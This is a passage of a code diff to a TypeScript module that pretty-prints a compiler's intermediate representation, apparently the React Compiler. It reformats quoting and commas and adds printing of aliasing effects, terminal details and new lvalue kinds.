 export function printInstruction(instr: ReactiveInstruction): string {
   const id = `[${instr.id}]`;
-  const value = printInstructionValue(instr.value);
+  let value = printInstructionValue(instr.value);
+  if (instr.effects != null) {
+    value += `\n    ${instr.effects.map(printAliasingEffect).join('\n    ')}`;
+  }
 
   if (instr.lvalue !== null) {
     return `${id} ${printPlace(instr.lvalue)} = ${value}`;
@@ -154,69 +170,72 @@ export function printInstruction(instr: ReactiveInstruction): string {
 
 export function printPhi(phi: Phi): string {
   const items = [];
-  items.push(printIdentifier(phi.id));
-  items.push(printMutableRange(phi.id));
-  items.push(printType(phi.type));
-  items.push(": phi(");
+  items.push(printPlace(phi.place));
+  items.push(printMutableRange(phi.place.identifier));
+  items.push(printType(phi.place.identifier.type));
+  items.push(': phi(');
   const phis = [];
-  for (const [blockId, id] of phi.operands) {
-    phis.push(`bb${blockId}: ${printIdentifier(id)}`);
+  for (const [blockId, place] of phi.operands) {
+    phis.push(`bb${blockId}: ${printPlace(place)}`);
   }
 
-  items.push(phis.join(", "));
-  items.push(")");
-  return items.join("");
+  items.push(phis.join(', '));
+  items.push(')');
+  return items.join('');
 }
 
 export function printTerminal(terminal: Terminal): Array<string> | string {
   let value;
   switch (terminal.kind) {
-    case "if": {
+    case 'if': {
       value = `[${terminal.id}] If (${printPlace(terminal.test)}) then:bb${
         terminal.consequent
       } else:bb${terminal.alternate}${
-        terminal.fallthrough ? ` fallthrough=bb${terminal.fallthrough}` : ""
+        terminal.fallthrough ? ` fallthrough=bb${terminal.fallthrough}` : ''
       }`;
       break;
     }
-    case "branch": {
+    case 'branch': {
       value = `[${terminal.id}] Branch (${printPlace(terminal.test)}) then:bb${
         terminal.consequent
-      } else:bb${terminal.alternate}`;
+      } else:bb${terminal.alternate} fallthrough:bb${terminal.fallthrough}`;
       break;
     }
-    case "logical": {
+    case 'logical': {
       value = `[${terminal.id}] Logical ${terminal.operator} test:bb${terminal.test} fallthrough=bb${terminal.fallthrough}`;
       break;
     }
-    case "ternary": {
+    case 'ternary': {
       value = `[${terminal.id}] Ternary test:bb${terminal.test} fallthrough=bb${terminal.fallthrough}`;
       break;
     }
-    case "optional": {
-      value = `[${terminal.id}] Optional test:bb${terminal.test} fallthrough=bb${terminal.fallthrough}`;
+    case 'optional': {
+      value = `[${terminal.id}] Optional (optional=${terminal.optional}) test:bb${terminal.test} fallthrough=bb${terminal.fallthrough}`;
       break;
     }
-    case "throw": {
+    case 'throw': {
       value = `[${terminal.id}] Throw ${printPlace(terminal.value)}`;
       break;
     }
-    case "return": {
-      value = `[${terminal.id}] Return${
-        terminal.value != null ? " " + printPlace(terminal.value) : ""
+    case 'return': {
+      value = `[${terminal.id}] Return ${terminal.returnVariant}${
+        terminal.value != null ? ' ' + printPlace(terminal.value) : ''
       }`;
+      if (terminal.effects != null) {
+        value += `\n    ${terminal.effects.map(printAliasingEffect).join('\n    ')}`;
+      }
       break;
     }
-    case "goto": {
+    case 'goto': {
       value = `[${terminal.id}] Goto${
-        terminal.variant === GotoVariant.Continue ? "(Continue)" : ""
+        terminal.variant === GotoVariant.Continue ? '(Continue)' : ''
       } bb${terminal.block}`;
       break;
     }
-    case "switch": {
+    case 'switch': {
       const output = [];
       output.push(`[${terminal.id}] Switch (${printPlace(terminal.test)})`);
-      terminal.cases.forEach((case_) => {
+      terminal.cases.forEach(case_ => {
         if (case_.test !== null) {
           output.push(`  Case ${printPlace(case_.test)}: bb${case_.block}`);
         } else {
@@ -229,78 +248,85 @@ export function printTerminal(terminal: Terminal): Array<string> | string {
       value = output;
       break;
     }
-    case "do-while": {
+    case 'do-while': {
       value = `[${terminal.id}] DoWhile loop=${`bb${terminal.loop}`} test=bb${
         terminal.test
       } fallthrough=${`bb${terminal.fallthrough}`}`;
       break;
     }
-    case "while": {
+    case 'while': {
       value = `[${terminal.id}] While test=bb${terminal.test} loop=${
-        terminal.loop !== null ? `bb${terminal.loop}` : ""
-      } fallthrough=${terminal.fallthrough ? `bb${terminal.fallthrough}` : ""}`;
+        terminal.loop !== null ? `bb${terminal.loop}` : ''
+      } fallthrough=${terminal.fallthrough ? `bb${terminal.fallthrough}` : ''}`;
       break;
     }
-    case "for": {
+    case 'for': {
       value = `[${terminal.id}] For init=bb${terminal.init} test=bb${terminal.test} loop=bb${terminal.loop} update=bb${terminal.update} fallthrough=bb${terminal.fallthrough}`;
       break;
     }
-    case "for-of": {
+    case 'for-of': {
       value = `[${terminal.id}] ForOf init=bb${terminal.init} test=bb${terminal.test} loop=bb${terminal.loop} fallthrough=bb${terminal.fallthrough}`;
       break;
     }
-    case "for-in": {
+    case 'for-in': {
       value = `[${terminal.id}] ForIn init=bb${terminal.init} loop=bb${terminal.loop} fallthrough=bb${terminal.fallthrough}`;
       break;
     }
-    case "label": {
+    case 'label': {
       value = `[${terminal.id}] Label block=bb${terminal.block} fallthrough=${
-        terminal.fallthrough ? `bb${terminal.fallthrough}` : ""
+        terminal.fallthrough ? `bb${terminal.fallthrough}` : ''
       }`;
       break;
     }
-    case "sequence": {
+    case 'sequence': {
       value = `[${terminal.id}] Sequence block=bb${terminal.block} fallthrough=bb${terminal.fallthrough}`;
       break;
     }
-    case "unreachable": {
+    case 'unreachable': {
       value = `[${terminal.id}] Unreachable`;
       break;
     }
-    case "unsupported": {
-      value = `Unsupported`;
+    case 'unsupported': {
+      value = `[${terminal.id}] Unsupported`;
       break;
     }
-    case "maybe-throw": {
-      value = `MaybeThrow continuation=bb${terminal.continuation} handler=bb${terminal.handler}`;
+    case 'maybe-throw': {
+      const handlerStr =
+        terminal.handler !== null ? `bb${terminal.handler}` : '(none)';
+      value = `[${terminal.id}] MaybeThrow continuation=bb${terminal.continuation} handler=${handlerStr}`;
+      if (terminal.effects != null) {
+        value += `\n    ${terminal.effects.map(printAliasingEffect).join('\n    ')}`;
+      }
       break;
     }
-    case "scope": {
-      value = `Scope ${printReactiveScopeSummary(terminal.scope)} block=bb${
-        terminal.block
-      } fallthrough=bb${terminal.fallthrough}`;
+    case 'scope': {
+      value = `[${terminal.id}] Scope ${printReactiveScopeSummary(
+        terminal.scope,
+      )} block=bb${terminal.block} fallthrough=bb${terminal.fallthrough}`;
       break;
     }
-    case "pruned-scope": {
-      value = `<pruned> Scope ${printReactiveScopeSummary(terminal.scope)} block=bb${
-        terminal.block
-      } fallthrough=bb${terminal.fallthrough}`;
+    case 'pruned-scope': {
+      value = `[${terminal.id}] <pruned> Scope ${printReactiveScopeSummary(
+        terminal.scope,
+      )} block=bb${terminal.block} fallthrough=bb${terminal.fallthrough}`;
       break;
     }
-    case "try": {
-      value = `Try block=bb${terminal.block} handler=bb${terminal.handler}${
+    case 'try': {
+      value = `[${terminal.id}] Try block=bb${terminal.block} handler=bb${
+        terminal.handler
+      }${
         terminal.handlerBinding !== null
           ? ` handlerBinding=(${printPlace(terminal.handlerBinding)})`
-          : ""
+          : ''
       } fallthrough=${
-        terminal.fallthrough != null ? `bb${terminal.fallthrough}` : ""
+        terminal.fallthrough != null ? `bb${terminal.fallthrough}` : ''
       }`;
       break;
     }
     default: {
       assertExhaustive(
         terminal,
-        `Unexpected terminal kind \`${terminal as any as Terminal}\``
+        `Unexpected terminal kind \`${terminal as any as Terminal}\``,
       );
     }
   }
@@ -308,311 +334,301 @@ export function printTerminal(terminal: Terminal): Array<string> | string {
 }
 
 function printHole(): string {
-  return "<hole>";
+  return '<hole>';
 }
 
 function printObjectPropertyKey(key: ObjectPropertyKey): string {
   switch (key.kind) {
-    case "identifier":
+    case 'identifier':
       return key.name;
-    case "string":
+    case 'string':
       return `"${key.name}"`;
-    case "computed": {
+    case 'computed': {
       return `[${printPlace(key.name)}]`;
     }
+    case 'number': {
+      return String(key.name);
+    }
   }
 }
 
 export function printInstructionValue(instrValue: ReactiveValue): string {
-  let value = "";
+  let value = '';
   switch (instrValue.kind) {
-    case "ArrayExpression": {
+    case 'ArrayExpression': {
       value = `Array [${instrValue.elements
-        .map((element) => {
-          if (element.kind === "Identifier") {
+        .map(element => {
+          if (element.kind === 'Identifier') {
             return printPlace(element);
-          } else if (element.kind === "Hole") {
+          } else if (element.kind === 'Hole') {
             return printHole();
           } else {
             return `...${printPlace(element.place)}`;
           }
         })
-        .join(", ")}]`;
+        .join(', ')}]`;
       break;
     }
-    case "ObjectExpression": {
+    case 'ObjectExpression': {
       const properties = [];
       if (instrValue.properties !== null) {
         for (const property of instrValue.properties) {
-          if (property.kind === "ObjectProperty") {
+          if (property.kind === 'ObjectProperty') {
             properties.push(
               `${printObjectPropertyKey(property.key)}: ${printPlace(
-                property.place
-              )}`
+                property.place,
+              )}`,
             );
           } else {
             properties.push(`...${printPlace(property.place)}`);
           }
         }
       }
-      value = `Object { ${properties.join(", ")} }`;
+      value = `Object { ${properties.join(', ')} }`;
       break;
     }
-    case "UnaryExpression": {
+    case 'UnaryExpression': {
       value = `Unary ${printPlace(instrValue.value)}`;
       break;
     }
-    case "BinaryExpression": {
+    case 'BinaryExpression': {
       value = `Binary ${printPlace(instrValue.left)} ${
         instrValue.operator
       } ${printPlace(instrValue.right)}`;
       break;
     }
-    case "NewExpression": {
+    case 'NewExpression': {
       value = `New ${printPlace(instrValue.callee)}(${instrValue.args
-        .map((arg) => printPattern(arg))
-        .join(", ")})`;
+        .map(arg => printPattern(arg))
+        .join(', ')})`;
       break;
     }
-    case "CallExpression": {
+    case 'CallExpression': {
       value = `Call ${printPlace(instrValue.callee)}(${instrValue.args
-        .map((arg) => printPattern(arg))
-        .join(", ")})`;
+        .map(arg => printPattern(arg))
+        .join(', ')})`;
       break;
     }
-    case "MethodCall": {
+    case 'MethodCall': {
       value = `MethodCall ${printPlace(instrValue.receiver)}.${printPlace(
-        instrValue.property
-      )}(${instrValue.args.map((arg) => printPattern(arg)).join(", ")})`;
+        instrValue.property,
+      )}(${instrValue.args.map(arg => printPattern(arg)).join(', ')})`;
       break;
     }
-    case "JSXText": {
+    case 'JSXText': {
       value = `JSXText ${JSON.stringify(instrValue.value)}`;
       break;
     }
-    case "Primitive": {
+    case 'Primitive': {
       if (instrValue.value === undefined) {
-        value = "<undefined>";
+        value = '<undefined>';
       } else {
         value = JSON.stringify(instrValue.value);
       }
       break;
     }
-    case "TypeCastExpression": {
+    case 'TypeCastExpression': {
       value = `TypeCast ${printPlace(instrValue.value)}: ${printType(
-        instrValue.type
+        instrValue.type,
       )}`;
       break;
     }
-    case "JsxExpression": {
+    case 'JsxExpression': {
       const propItems = [];
       for (const attribute of instrValue.props) {
-        if (attribute.kind === "JsxAttribute") {
+        if (attribute.kind === 'JsxAttribute') {
           propItems.push(
             `${attribute.name}={${
-              attribute.place !== null ? printPlace(attribute.place) : "<empty>"
-            }}`
+              attribute.place !== null ? printPlace(attribute.place) : '<empty>'
+            }}`,
           );
         } else {
           propItems.push(`...${printPlace(attribute.argument)}`);
         }
       }
       const tag =
-        instrValue.tag.kind === "Identifier"
+        instrValue.tag.kind === 'Identifier'
           ? printPlace(instrValue.tag)
           : instrValue.tag.name;
-      const props = propItems.length !== 0 ? " " + propItems.join(" ") : "";
+      const props = propItems.length !== 0 ? ' ' + propItems.join(' ') : '';
       if (instrValue.children !== null) {
-        const children = instrValue.children.map((child) => {
+        const children = instrValue.children.map(child => {
           return `{${printPlace(child)}}`;
         });
         value = `JSX <${tag}${props}${
-          props.length > 0 ? " " : ""
-        }>${children.join("")}</${tag}>`;
+          props.length > 0 ? ' ' : ''
+        }>${children.join('')}</${tag}>`;
       } else {
-        value = `JSX <${tag}${props}${props.length > 0 ? " " : ""}/>`;
+        value = `JSX <${tag}${props}${props.length > 0 ? ' ' : ''}/>`;
       }
       break;
     }
-    case "JsxFragment": {
+    case 'JsxFragment': {
       value = `JsxFragment [${instrValue.children
-        .map((child) => printPlace(child))
-        .join(", ")}]`;
+        .map(child => printPlace(child))
+        .join(', ')}]`;
       break;
     }
-    case "UnsupportedNode": {
-      value = `UnsupportedNode(${generate(instrValue.node).code})`;
+    case 'UnsupportedNode': {
+      value = `UnsupportedNode ${instrValue.node.type}`;
       break;
     }
-    case "LoadLocal": {
+    case 'LoadLocal': {
       value = `LoadLocal ${printPlace(instrValue.place)}`;
       break;
     }
-    case "DeclareLocal": {
+    case 'DeclareLocal': {
       value = `DeclareLocal ${instrValue.lvalue.kind} ${printPlace(
-        instrValue.lvalue.place
+        instrValue.lvalue.place,
       )}`;
       break;
     }
-    case "DeclareContext": {
+    case 'DeclareContext': {
       value = `DeclareContext ${instrValue.lvalue.kind} ${printPlace(
-        instrValue.lvalue.place
+        instrValue.lvalue.place,
       )}`;
       break;
     }
-    case "StoreLocal": {
+    case 'StoreLocal': {
       value = `StoreLocal ${instrValue.lvalue.kind} ${printPlace(
-        instrValue.lvalue.place
+        instrValue.lvalue.place,
       )} = ${printPlace(instrValue.value)}`;
       break;
     }
-    case "LoadContext": {
+    case 'LoadContext': {
       value = `LoadContext ${printPlace(instrValue.place)}`;
       break;
     }
-    case "StoreContext": {
+    case 'StoreContext': {
       value = `StoreContext ${instrValue.lvalue.kind} ${printPlace(
-        instrValue.lvalue.place
+        instrValue.lvalue.place,
       )} = ${printPlace(instrValue.value)}`;
       break;
     }
-    case "Destructure": {
+    case 'Destructure': {
       value = `Destructure ${instrValue.lvalue.kind} ${printPattern(
-        instrValue.lvalue.pattern
+        instrValue.lvalue.pattern,
       )} = ${printPlace(instrValue.value)}`;
       break;
     }
-    case "PropertyLoad": {
+    case 'PropertyLoad': {
       value = `PropertyLoad ${printPlace(instrValue.object)}.${
         instrValue.property
       }`;
       break;
     }
-    case "PropertyStore": {
+    case 'PropertyStore': {
       value = `PropertyStore ${printPlace(instrValue.object)}.${
         instrValue.property
       } = ${printPlace(instrValue.value)}`;
       break;
     }
-    case "PropertyDelete": {
+    case 'PropertyDelete': {
       value = `PropertyDelete ${printPlace(instrValue.object)}.${
         instrValue.property
       }`;
       break;
     }
-    case "ComputedLoad": {
+    case 'ComputedLoad': {
       value = `ComputedLoad ${printPlace(instrValue.object)}[${printPlace(
-        instrValue.property
+        instrValue.property,
       )}]`;
       break;
     }
-    case "ComputedStore": {
+    case 'ComputedStore': {
       value = `ComputedStore ${printPlace(instrValue.object)}[${printPlace(
-        instrValue.property
+        instrValue.property,
       )}] = ${printPlace(instrValue.value)}`;
       break;
     }
-    case "ComputedDelete": {
+    case 'ComputedDelete': {
       value = `ComputedDelete ${printPlace(instrValue.object)}[${printPlace(
-        instrValue.property
+        instrValue.property,
       )}]`;
       break;
     }
-    case "ObjectMethod":
-    case "FunctionExpression": {
+    case 'ObjectMethod':
+    case 'FunctionExpression': {
       const kind =
-        instrValue.kind === "FunctionExpression" ? "Function" : "ObjectMethod";
-      const name = getFunctionName(instrValue, "");
+        instrValue.kind === 'FunctionExpression' ? 'Function' : 'ObjectMethod';
+      const name = getFunctionName(instrValue, '');
       const fn = printFunction(instrValue.loweredFunc.func)
-        .split("\n")
-        .map((line) => `      ${line}`)
-        .join("\n");
-      const deps = instrValue.loweredFunc.dependencies
-        .map((dep) => printPlace(dep))
-        .join(",");
+        .split('\n')
+        .map(line => `      ${line}`)
+        .join('\n');
       const context = instrValue.loweredFunc.func.context
-        .map((dep) => printPlace(dep))
-        .join(",");
-      const effects =
-        instrValue.loweredFunc.func.effects
-          ?.map((effect) => {
-            if (effect.kind === "ContextMutation") {
-              return `ContextMutation places=[${[...effect.places]
-                .map((place) => printPlace(place))
-                .join(", ")}] effect=${effect.effect}`;
-            } else {
-              return `GlobalMutation`;
-            }
-          })
-          .join(", ") ?? "";
-      value = `${kind} ${name} @deps[${deps}] @context[${context}] @effects[${effects}]:\n${fn}`;
+        .map(dep => printPlace(dep))
+        .join(',');
+      const aliasingEffects =
+        instrValue.loweredFunc.func.aliasingEffects
+          ?.map(printAliasingEffect)
+          ?.join(', ') ?? '';
+      value = `${kind} ${name} @context[${context}] @aliasingEffects=[${aliasingEffects}]\n${fn}`;
       break;
     }
-    case "TaggedTemplateExpression": {
+    case 'TaggedTemplateExpression': {
       value = `${printPlace(instrValue.tag)}\`${instrValue.value.raw}\``;
       break;
     }
-    case "LogicalExpression": {
+    case 'LogicalExpression': {
       value = `Logical ${printInstructionValue(instrValue.left)} ${
         instrValue.operator
       } ${printInstructionValue(instrValue.right)}`;
       break;
     }
-    case "SequenceExpression": {
+    case 'SequenceExpression': {
       value = [
         `Sequence`,
         ...instrValue.instructions.map(
-          (instr) => `    ${printInstruction(instr)}`
+          instr => `    ${printInstruction(instr)}`,
         ),
         `    ${printInstructionValue(instrValue.value)}`,
-      ].join("\n");
+      ].join('\n');
       break;
     }
-    case "ConditionalExpression": {
+    case 'ConditionalExpression': {
       value = `Ternary ${printInstructionValue(
-        instrValue.test
+        instrValue.test,
       )} ? ${printInstructionValue(
-        instrValue.consequent
+        instrValue.consequent,
       )} : ${printInstructionValue(instrValue.alternate)}`;
       break;
     }
-    case "TemplateLiteral": {
-      value = "`";
+    case 'TemplateLiteral': {
+      value = '`';
       CompilerError.invariant(
         instrValue.subexprs.length === instrValue.quasis.length - 1,
         {
-          reason: "Bad assumption about quasi length.",
-          description: null,
+          reason: 'Bad assumption about quasi length.',
           loc: instrValue.loc,
-          suggestions: null,
-        }
+        },
       );
       for (let i = 0; i < instrValue.subexprs.length; i++) {
         value += instrValue.quasis[i].raw;
         value += `\${${printPlace(instrValue.subexprs[i])}}`;
       }
-      value += instrValue.quasis.at(-1)!.raw + "`";
+      value += instrValue.quasis.at(-1)!.raw + '`';
       break;
     }
-    case "LoadGlobal": {
+    case 'LoadGlobal': {
       switch (instrValue.binding.kind) {
-        case "Global": {
+        case 'Global': {
           value = `LoadGlobal(global) ${instrValue.binding.name}`;
           break;
         }
-        case "ModuleLocal": {
+        case 'ModuleLocal': {
           value = `LoadGlobal(module) ${instrValue.binding.name}`;
           break;
         }
-        case "ImportDefault": {
+        case 'ImportDefault': {
           value = `LoadGlobal import ${instrValue.binding.name} from '${instrValue.binding.module}'`;
           break;
         }
-        case "ImportNamespace": {
+        case 'ImportNamespace': {
           value = `LoadGlobal import * as ${instrValue.binding.name} from '${instrValue.binding.module}'`;
           break;
         }
-        case "ImportSpecifier": {
+        case 'ImportSpecifier': {
           if (instrValue.binding.imported !== instrValue.binding.name) {
             value = `LoadGlobal import { ${instrValue.binding.imported} as ${instrValue.binding.name} } from '${instrValue.binding.module}'`;
           } else {
@@ -623,77 +639,73 @@ export function printInstructionValue(instrValue: ReactiveValue): string {
         default: {
           assertExhaustive(
             instrValue.binding,
-            `Unexpected binding kind \`${(instrValue.binding as any).kind}\``
+            `Unexpected binding kind \`${(instrValue.binding as any).kind}\``,
           );
         }
       }
       break;
     }
-    case "StoreGlobal": {
+    case 'StoreGlobal': {
       value = `StoreGlobal ${instrValue.name} = ${printPlace(
-        instrValue.value
+        instrValue.value,
       )}`;
       break;
     }
-    case "OptionalExpression": {
+    case 'OptionalExpression': {
       value = `OptionalExpression ${printInstructionValue(instrValue.value)}`;
       break;
     }
-    case "RegExpLiteral": {
+    case 'RegExpLiteral': {
       value = `RegExp /${instrValue.pattern}/${instrValue.flags}`;
       break;
     }
-    case "MetaProperty": {
+    case 'MetaProperty': {
       value = `MetaProperty ${instrValue.meta}.${instrValue.property}`;
       break;
     }
-    case "Await": {
+    case 'Await': {
       value = `Await ${printPlace(instrValue.value)}`;
       break;
     }
-    case "GetIterator": {
+    case 'GetIterator': {
       value = `GetIterator collection=${printPlace(instrValue.collection)}`;
       break;
     }
-    case "IteratorNext": {
+    case 'IteratorNext': {
       value = `IteratorNext iterator=${printPlace(
-        instrValue.iterator
+        instrValue.iterator,
       )} collection=${printPlace(instrValue.collection)}`;
       break;
     }
-    case "NextPropertyOf": {
+    case 'NextPropertyOf': {
       value = `NextPropertyOf ${printPlace(instrValue.value)}`;
       break;
     }
-    case "Debugger": {
+    case 'Debugger': {
       value = `Debugger`;
       break;
     }
-    case "PostfixUpdate": {
+    case 'PostfixUpdate': {
       value = `PostfixUpdate ${printPlace(instrValue.lvalue)} = ${printPlace(
-        instrValue.value
+        instrValue.value,
       )} ${instrValue.operation}`;
       break;
     }
-    case "PrefixUpdate": {
+    case 'PrefixUpdate': {
       value = `PrefixUpdate ${printPlace(instrValue.lvalue)} = ${
         instrValue.operation
       } ${printPlace(instrValue.value)}`;
       break;
     }
-    case "StartMemoize": {
+    case 'StartMemoize': {
       value = `StartMemoize deps=${
-        instrValue.deps?.map((dep) => printManualMemoDependency(dep, false)) ??
-        "(none)"
+        instrValue.deps?.map(dep => printManualMemoDependency(dep, false)) ??
+        '(none)'
       }`;
       break;
     }
-    case "FinishMemoize": {
-      value = `FinishMemoize decl=${printPlace(instrValue.decl)}`;
-      break;
-    }
-    case "ReactiveFunctionValue": {
-      value = `FunctionValue ${printReactiveFunction(instrValue.fn)}`;
+    case 'FinishMemoize': {
+      value = `FinishMemoize decl=${printPlace(instrValue.decl)}${instrValue.pruned ? ' pruned' : ''}`;
       break;
     }
     default: {
@@ -701,7 +713,7 @@ export function printInstructionValue(instrValue: ReactiveValue): string {
         instrValue,
         `Unexpected instruction kind '${
           (instrValue as any as InstructionValue).kind
-        }'`
+        }'`,
       );
     }
   }
@@ -724,11 +736,11 @@ function printMutableRange(identifier: Identifier): string {
     ) {
       return `[${range.start}:${range.end}] scope=[${scopeRange.start}:${scopeRange.end}]`;
     }
-    return isMutable(range) ? `[${range.start}:${range.end}]` : "";
+    return isMutable(range) ? `[${range.start}:${range.end}]` : '';
   }
   // in non-debug mode, prefer the scope range if it exists
   const range = identifier.scope?.range ?? identifier.mutableRange;
-  return isMutable(range) ? `[${range.start}:${range.end}]` : "";
+  return isMutable(range) ? `[${range.start}:${range.end}]` : '';
 }
 
 export function printLValue(lval: LValue): string {
@@ -750,6 +762,15 @@ export function printLValue(lval: LValue): string {
     case InstructionKind.HoistedConst: {
       return `HoistedConst ${lvalue}$`;
     }
+    case InstructionKind.HoistedLet: {
+      return `HoistedLet ${lvalue}$`;
+    }
+    case InstructionKind.Function: {
+      return `Function ${lvalue}$`;
+    }
+    case InstructionKind.HoistedFunction: {
+      return `HoistedFunction ${lvalue}$`;
+    }
     default: {
       assertExhaustive(lval.kind, `Unexpected lvalue kind \`${lval.kind}\``);
     }
@@ -758,53 +779,53 @@ export function printLValue(lval: LValue): string {
 
 export function printPattern(pattern: Pattern | Place | SpreadPattern): string {
   switch (pattern.kind) {
-    case "ArrayPattern": {
+    case 'ArrayPattern': {
       return (
-        "[ " +
+        '[ ' +
         pattern.items
-          .map((item) => {
-            if (item.kind === "Hole") {
-              return "<hole>";
+          .map(item => {
+            if (item.kind === 'Hole') {
+              return '<hole>';
             }
             return printPattern(item);
           })
-          .join(", ") +
-        " ]"
+          .join(', ') +
+        ' ]'
       );
     }
-    case "ObjectPattern": {
+    case 'ObjectPattern': {
       return (
-        "{ " +
+        '{ ' +
         pattern.properties
-          .map((item) => {
+          .map(item => {
             switch (item.kind) {
-              case "ObjectProperty": {
+              case 'ObjectProperty': {
                 return `${printObjectPropertyKey(item.key)}: ${printPattern(
-                  item.place
+                  item.place,
                 )}`;
               }
-              case "Spread": {
+              case 'Spread': {
                 return printPattern(item);
               }
               default: {
-                assertExhaustive(item, "Unexpected object property kind");
+                assertExhaustive(item, 'Unexpected object property kind');
               }
             }
           })
-          .join(", ") +
-        " }"
+          .join(', ') +
+        ' }'
       );
     }
-    case "Spread": {
+    case 'Spread': {
       return `...${printPlace(pattern.place)}`;
     }
-    case "Identifier": {
+    case 'Identifier': {
       return printPlace(pattern);
     }
     default: {
       assertExhaustive(
         pattern,
-        `Unexpected pattern kind \`${(pattern as any).kind}\``
+        `Unexpected pattern kind \`${(pattern as any).kind}\``,
       );
     }
   }
@@ -813,13 +834,13 @@ export function printPattern(pattern: Pattern | Place | SpreadPattern): string {
 export function printPlace(place: Place): string {
   const items = [
     place.effect,
-    " ",
+    ' ',
     printIdentifier(place.identifier),
     printMutableRange(place.identifier),
     printType(place.identifier.type),
-    place.reactive ? "{reactive}" : null,
+    place.reactive ? '{reactive}' : null,
   ];
-  return items.filter((x) => x != null).join("");
+  return items.filter(x => x != null).join('');
 }
 
 export function printIdentifier(id: Identifier): string {
@@ -828,73 +849,188 @@ export function printIdentifier(id: Identifier): string {
 
 function printName(name: IdentifierName | null): string {
   if (name === null) {
-    return "";
+    return '';
   }
   return name.value;
 }
 
 function printScope(scope: ReactiveScope | null): string {
-  return `${scope !== null ? `_@${scope.id}` : ""}`;
+  return `${scope !== null ? `_@${scope.id}` : ''}`;
 }
 
 export function printManualMemoDependency(
   val: ManualMemoDependency,
-  nameOnly: boolean
+  nameOnly: boolean,
 ): string {
   let rootStr;
-  if (val.root.kind === "Global") {
+  if (val.root.kind === 'Global') {
     rootStr = val.root.identifierName;
   } else {
-    CompilerError.invariant(val.root.value.identifier.name?.kind === "named", {
-      reason: "DepsValidation: expected named local variable in depslist",
-      suggestions: null,
+    CompilerError.invariant(val.root.value.identifier.name?.kind === 'named', {
+      reason: 'DepsValidation: expected named local variable in depslist',
       loc: val.root.value.loc,
     });
     rootStr = nameOnly
       ? val.root.value.identifier.name.value
       : printIdentifier(val.root.value.identifier);
   }
-  return `${rootStr}${val.path.length > 0 ? "." : ""}${val.path.join(".")}`;
+  return `${rootStr}${val.path.map(v => `${v.optional ? '?.' : '.'}${v.property}`).join('')}`;
 }
 export function printType(type: Type): string {
-  if (type.kind === "Type") return "";
+  if (type.kind === 'Type') return '';
   // TODO(mofeiZ): add debugName for generated ids
-  if (type.kind === "Object" && type.shapeId != null) {
-    return `:T${type.kind}<${type.shapeId}>`;
-  } else if (type.kind === "Function" && type.shapeId != null) {
+  if (type.kind === 'Object' && type.shapeId != null) {
     return `:T${type.kind}<${type.shapeId}>`;
+  } else if (type.kind === 'Function' && type.shapeId != null) {
+    const returnType = printType(type.return);
+    return `:T${type.kind}<${type.shapeId}>()${returnType !== '' ? `:  ${returnType}` : ''}`;
   } else {
     return `:T${type.kind}`;
   }
 }
 
 export function printSourceLocation(loc: SourceLocation): string {
-  if (typeof loc === "symbol") {
-    return "generated";
+  if (typeof loc === 'symbol') {
+    return 'generated';
   } else {
     return `${loc.start.line}:${loc.start.column}:${loc.end.line}:${loc.end.column}`;
   }
 }
 
+export function printSourceLocationLine(loc: SourceLocation): string {
+  if (typeof loc === 'symbol') {
+    return 'generated';
+  } else {
+    return `${loc.start.line}:${loc.end.line}`;
+  }
+}
+
 export function printAliases(aliases: DisjointSet<Identifier>): string {
   const aliasSets = aliases.buildSets();
 
   const items = [];
   for (const aliasSet of aliasSets) {
-    items.push([...aliasSet].map((id) => printIdentifier(id)).join(","));
+    items.push([...aliasSet].map(id => printIdentifier(id)).join(','));
   }
 
-  return items.join("\n");
+  return items.join('\n');
 }
 
 function getFunctionName(
   instrValue: ObjectMethod | FunctionExpression,
-  defaultValue: string
+  defaultValue: string,
 ): string {
   switch (instrValue.kind) {
-    case "FunctionExpression":
+    case 'FunctionExpression':
       return instrValue.name ?? defaultValue;
-    case "ObjectMethod":
+    case 'ObjectMethod':
       return defaultValue;
   }
 }
+
+export function printAliasingEffect(effect: AliasingEffect): string {
+  switch (effect.kind) {
+    case 'Assign': {
+      return `Assign ${printPlaceForAliasEffect(effect.into)} = ${printPlaceForAliasEffect(effect.from)}`;
+    }
+    case 'Alias': {
+      return `Alias ${printPlaceForAliasEffect(effect.into)} <- ${printPlaceForAliasEffect(effect.from)}`;
+    }
+    case 'MaybeAlias': {
+      return `MaybeAlias ${printPlaceForAliasEffect(effect.into)} <- ${printPlaceForAliasEffect(effect.from)}`;
+    }
+    case 'Capture': {
+      return `Capture ${printPlaceForAliasEffect(effect.into)} <- ${printPlaceForAliasEffect(effect.from)}`;
+    }
+    case 'ImmutableCapture': {
+      return `ImmutableCapture ${printPlaceForAliasEffect(effect.into)} <- ${printPlaceForAliasEffect(effect.from)}`;
+    }
+    case 'Create': {
+      return `Create ${printPlaceForAliasEffect(effect.into)} = ${effect.value}`;
+    }
+    case 'CreateFrom': {
+      return `Create ${printPlaceForAliasEffect(effect.into)} = kindOf(${printPlaceForAliasEffect(effect.from)})`;
+    }
+    case 'CreateFunction': {
+      return `Function ${printPlaceForAliasEffect(effect.into)} = Function captures=[${effect.captures.map(printPlaceForAliasEffect).join(', ')}]`;
+    }
+    case 'Apply': {
+      const receiverCallee =
+        effect.receiver.identifier.id === effect.function.identifier.id
+          ? printPlaceForAliasEffect(effect.receiver)
+          : `${printPlaceForAliasEffect(effect.receiver)}.${printPlaceForAliasEffect(effect.function)}`;
+      const args = effect.args
+        .map(arg => {
+          if (arg.kind === 'Identifier') {
+            return printPlaceForAliasEffect(arg);
+          } else if (arg.kind === 'Hole') {
+            return ' ';
+          }
+          return `...${printPlaceForAliasEffect(arg.place)}`;
+        })
+        .join(', ');
+      let signature = '';
+      if (effect.signature != null) {
+        if (effect.signature.aliasing != null) {
+          signature = printAliasingSignature(effect.signature.aliasing);
+        } else {
+          signature = JSON.stringify(effect.signature, null, 2);
+        }
+      }
+      return `Apply ${printPlaceForAliasEffect(effect.into)} = ${receiverCallee}(${args})${signature != '' ? '\n     ' : ''}${signature}`;
+    }
+    case 'Freeze': {
+      return `Freeze ${printPlaceForAliasEffect(effect.value)} ${effect.reason}`;
+    }
+    case 'Mutate':
+    case 'MutateConditionally':
+    case 'MutateTransitive':
+    case 'MutateTransitiveConditionally': {
+      return `${effect.kind} ${printPlaceForAliasEffect(effect.value)}${effect.kind === 'Mutate' && effect.reason?.kind === 'AssignCurrentProperty' ? ' (assign `.current`)' : ''}`;
+    }
+    case 'MutateFrozen': {
+      return `MutateFrozen ${printPlaceForAliasEffect(effect.place)} reason=${JSON.stringify(effect.error.reason)}`;
+    }
+    case 'MutateGlobal': {
